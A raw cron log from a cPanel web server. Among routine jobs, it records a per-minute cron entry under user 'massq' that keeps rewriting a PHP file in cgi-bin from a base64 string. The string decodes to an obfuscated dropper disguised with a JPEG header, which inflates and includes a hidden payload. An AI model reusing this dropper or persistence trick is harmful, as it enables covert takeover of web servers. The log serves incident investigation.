fi; chmod 444 "$fp")
Sep  8 06:15:01 server CROND[23533]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 06:15:01 server CROND[23541]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  8 06:15:01 server CROND[23536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:15:01 server CROND[23538]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 06:15:01 server CROND[23537]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:15:01 server CROND[23540]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 06:16:01 server CROND[24392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:16:01 server CROND[24393]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:16:01 server CROND[24394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:17:01 server CROND[24759]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:17:01 server CROND[24760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:17:01 server CROND[24761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:18:01 server CROND[25177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:18:01 server CROND[25178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:18:01 server CROND[25179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:19:01 server CROND[25549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:19:01 server CROND[25550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:19:01 server CROND[25551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:20:01 server CROND[25930]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 06:20:01 server CROND[25936]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:20:01 server CROND[25941]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 06:20:01 server CROND[25950]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 06:20:01 server CROND[25952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:20:01 server CROND[25953]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 06:20:01 server CROND[25951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:20:01 server CROND[25949]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:20:01 server CROND[25954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:21:01 server CROND[26861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:21:01 server CROND[26862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:21:01 server CROND[26863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:22:01 server CROND[27239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:22:01 server CROND[27240]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:22:01 server CROND[27237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:23:01 server CROND[27608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:23:01 server CROND[27609]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:23:01 server CROND[27610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:24:01 server CROND[27976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:24:01 server CROND[27977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:24:01 server CROND[27978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:25:01 server CROND[28355]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 06:25:01 server CROND[28359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:25:02 server CROND[28362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:25:02 server CROND[28360]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:25:02 server CROND[28361]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:25:02 server CROND[28366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:25:02 server CROND[28363]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 06:25:02 server CROND[28364]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 06:26:01 server CROND[29223]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:26:01 server CROND[29224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:26:01 server CROND[29225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:27:01 server CROND[29690]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:27:01 server CROND[29692]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 06:27:01 server CROND[29691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:27:01 server CROND[29693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUM